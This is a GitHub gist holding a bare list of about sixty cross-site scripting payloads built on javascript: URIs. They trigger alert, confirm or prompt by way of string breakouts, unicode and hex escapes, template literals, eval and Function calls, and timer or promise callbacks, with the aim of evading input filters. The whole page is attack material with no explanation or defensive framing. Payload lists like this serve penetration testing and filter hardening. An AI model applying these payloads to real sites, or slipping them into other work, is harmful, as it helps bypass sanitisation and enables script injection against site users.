Skip to content

Instantly share code, notes, and snippets.

@ratnadip1998
Created February 12, 2026 17:28
Show Gist options
  • Select an option

  • Save ratnadip1998/e26de2336e73e3317198547ddddfd39f to your computer and use it in GitHub Desktop.

Select an option

Save ratnadip1998/e26de2336e73e3317198547ddddfd39f to your computer and use it in GitHub Desktop.
javascript:alert(1)
javascript:confirm(1)
javascript:prompt(1)
javascript:print()
javascript:top.alert(1)
javascript:self.alert(1)
javascript:parent.alert(1)
javascript:frames.alert(1)
javascript:globalThis.alert(1)
javascript:window.alert?.(1)
javascript:${alert(1)}
javascript:${confirm(1)}
javascript:${prompt(1)}
javascript:`${alert(1)}`
javascript:eval(`${'alert(1)'}`)
javascript:Function`${'alert(1)'}`()
javascript:setTimeout`${'alert(1)'}`
javascript:setInterval`${'alert(1)'}`
javascript:new Function`${'alert(1)'}`
javascript:`${(()=>alert(1))()}`
javascript:1&&alert(1)
javascript:true&&alert(1)
javascript:0||alert(1)
javascript:false||alert(1)
javascript:null??alert(1)
javascript:undefined??alert(1)
javascript:!function(){alert(1)}()
javascript:~function(){alert(1)}()
javascript:void alert(1)
javascript:throw alert(1)
javascript:";alert(1)//
javascript:';alert(1)//
javascript:`);alert(1);//
javascript:")};alert(1);//
javascript:'};alert(1);//
javascript:";confirm(1)//
javascript:';prompt(1)//
javascript:`-alert(1)-`
javascript:";top.alert(1)//
javascript:';self.alert(1)//
javascript:alert\x281\x29
javascript:\u0061lert(1)
javascript:\u0063onfirm(1)
javascript:\u0070rompt(1)
javascript:eval('\x61lert(1)')
javascript:eval('\u0061lert(1)')
javascript:Function('\x61lert(1)')()
javascript:Function('\u0061lert(1)')()
javascript:setTimeout('\x61lert(1)')
javascript:setInterval('\u0061lert(1)',1)
javascript:(()=>alert(1))()
javascript:(async()=>alert(1))()
javascript:(async()=>{await 1;alert(1)})()
javascript:(()=>{return alert(1)})()
javascript:(()=>{throw alert(1)})()
javascript:Promise.resolve().then(()=>alert(1))
javascript:queueMicrotask(()=>alert(1))
javascript:setTimeout(()=>alert(1))
javascript:setInterval(()=>alert(1),10)
javascript:requestIdleCallback(()=>alert(1))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment